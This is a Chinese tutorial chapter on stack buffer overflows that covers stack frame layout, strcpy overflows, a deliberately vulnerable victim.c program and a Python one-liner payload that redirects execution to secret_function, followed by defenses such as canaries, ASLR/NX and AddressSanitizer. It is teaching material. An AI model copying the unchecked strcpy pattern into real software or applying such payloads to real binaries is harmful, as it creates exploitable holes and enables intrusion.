3. 栈缓冲区溢出原理:栈帧结构
栈缓冲区溢出,这名字听着挺唬人。说白了,就是程序在栈上写数据的时候,写过头了,把不该碰的地方给碰了。
我刚开始学C语言那会儿,总觉得栈就是个放局部变量的地方,没啥特别的。直到有一次,我写了个网络服务程序,跑着跑着就崩了,而且崩得毫无规律。查了三天,最后发现是一个strcpy把用户输入直接拷到了一个只有16字节的缓冲区里。嗯,从那以后,我再也不敢小看栈了。
3.1 栈帧长什么样?
每次函数被调用,系统都会在栈上给它分配一块“地盘”,这块地盘就叫栈帧。你想想看,一个函数要干活,总得有个地方放它的局部变量、参数,还得记住它执行完了该回哪儿去,对吧?
一个典型的栈帧,从高地址到低地址,大致长这样:
高地址
+------------------+
| 函数参数(从右往左压栈) |
+------------------+
| 返回地址(Return Address)| ← 关键!函数执行完跳回这里
+------------------+
| 保存的EBP(旧栈底指针) | ← 用于恢复上一个栈帧
+------------------+
| 局部变量区域 | ← 你的数组、临时变量都在这儿
+------------------+
低地址
这里我要强调一下:返回地址是攻击者的终极目标。谁控制了返回地址,谁就控制了程序的执行流。
核心要点:栈的生长方向是从高地址向低地址,但缓冲区的写入是从低地址向高地址。这个方向上的“错位”,就是漏洞的根源。
3.2 局部变量、EBP、返回地址的布局
咱们写个简单的例子来看看:
void vulnerable(char *input) {
char buffer[16]; // 局部变量,16字节
int flag = 0; // 局部变量,4字节
strcpy(buffer, input); // 危险!没有长度检查
if (flag != 0) {
printf("你改写了flag!\n");
}
}
这个函数在栈上的布局,我画个图你就明白了:
看到没?buffer[16]在最底下(低地址),往上依次是flag、保存的EBP、返回地址。你往buffer里写数据,是从低地址往高地址写。一旦超过16字节,就会先覆盖flag,再覆盖EBP,最后——嗯,返回地址就遭殃了。
我的经验:在实际项目中,我见过有人把局部变量声明顺序调一下,试图“保护”返回地址。比如把flag声明在buffer前面。但编译器优化一开,变量顺序可能就变了。别指望这种小聪明,老老实实做边界检查才是正道。
3.3 溢出如何覆盖返回地址
好,现在咱们来模拟一下攻击过程。假设用户输入了这样一串数据:
输入: "AAAAAAAABBBBBBBBCCCCDDDD\xef\xbe\xad\xde"
|---16字节---||-4-||-4-||--返回地址--|
buffer flag EBP 覆盖为0xDEADBEEF
当strcpy执行时,数据会这样填充:
- 前16字节:填满
buffer[0]到buffer[15] - 接下来4字节:覆盖
flag变量。如果原来flag是0,现在变成非0,程序逻辑就可能被绕过 - 再接下来4字节:覆盖保存的EBP。函数返回时EBP恢复成这个值,后续栈操作会乱套
- 最后4字节:覆盖返回地址。函数执行
ret指令时,CPU会跳转到这个地址
为什么会这样?因为strcpy根本不关心目标缓冲区有多大,它只管一直拷贝,直到遇到\0才停。你想想看,这多危险。
警告:千万别在生产代码里用strcpy、sprintf、gets这些不检查长度的函数。我见过太多因为strcpy导致的漏洞了。用strncpy、snprintf、fgets这些带长度参数的函数,虽然麻烦点,但安全。
3.4 经典攻击流程演示
一个完整的栈溢出攻击,通常分四步走:
| 步骤 | 操作 | 说明 |
|---|---|---|
| 1. 漏洞定位 | 找到存在溢出的函数 | 比如strcpy、sprintf、gets等 |
| 2. 偏移计算 | 确定从缓冲区到返回地址的字节数 | 用调试器或模式字符串(如AAAABBBB...)测试 |
| 3. 构造载荷 | 准备攻击数据 | 填充数据 + 覆盖EBP + 目标地址 + 可能还有shellcode |
| 4. 触发执行 | 将载荷发送给程序 | 程序处理输入时触发溢出,劫持控制流 |
咱们写个完整的攻击示例:
// 漏洞程序(victim.c)
#include <stdio.h>
#include <string.h>
void secret_function() {
printf("你成功劫持了控制流!\n");
// 这里可以执行任意操作
}
void vulnerable(char *input) {
char buffer[16];
strcpy(buffer, input); // 溢出点
printf("buffer内容: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("用法: %s <输入>\n", argv[0]);
return 1;
}
vulnerable(argv[1]);
printf("正常返回main函数\n");
return 0;
}
攻击者要做的,就是让程序执行secret_function而不是正常返回。假设在32位系统上,secret_function的地址是0x08048456,那么攻击载荷就是:
# 构造攻击输入
# 16字节填充 + 4字节覆盖EBP + 4字节返回地址
python -c "print('A'*16 + 'B'*4 + '\x56\x84\x04\x08')" > payload.txt
# 运行漏洞程序
./victim $(cat payload.txt)
运行结果:
buffer内容: AAAAAAAAAAAAAAAABBBB??
你成功劫持了控制流!
看到没?程序没有打印"正常返回main函数",而是直接跳到了secret_function。这就是典型的栈溢出攻击。
关键点:攻击成功的前提是攻击者知道目标函数的地址。在现代系统中,ASLR(地址空间布局随机化)会让地址每次加载都变化,增加攻击难度。但这不是万能的——攻击者可以通过信息泄露先拿到地址,或者用ROP(面向返回编程)绕过。
3.5 我踩过的坑
我曾经在一个嵌入式项目里,用了一个第三方库的网络解析函数。文档上说“输入长度不超过256字节”,我就没做检查。结果有个恶意设备发了个512字节的包,直接把我设备的栈给打穿了。那台设备在现场跑了三个月都没事,偏偏在客户验收那天崩了。嗯,你懂的,从那以后我养成了两个习惯:
- 所有外部输入,一律做长度检查。不管文档怎么说,自己动手验证
- 能用
strncpy绝不用strcpy。多写一个参数,少熬一个通宵
避坑指南:我曾经以为strncpy就安全了,结果发现它有个坑——如果源字符串比目标缓冲区长,它不会自动加\0结尾。所以用strncpy之后,一定要手动在最后一个位置写\0。我现在都直接用snprintf,它保证\0结尾,省心。
3.6 防御思路
说了这么多攻击,咱们也得聊聊怎么防。我个人建议从这几个层面入手:
- 代码层面:永远使用带长度限制的函数。这是最根本的
- 编译选项:开启栈保护(
-fstack-protector),编译器会在栈上放一个“金丝雀值”,溢出时先破坏它,程序就能检测到并终止 - 系统层面:开启ASLR和NX(栈不可执行),让攻击者更难利用
- 运行时检测:用AddressSanitizer(
-fsanitize=address)在调试阶段发现溢出
记住,安全不是靠某一个措施就能搞定的。深度防御,层层设防,才是正道。
公众号:蓝海资料掘金营,微信deep3321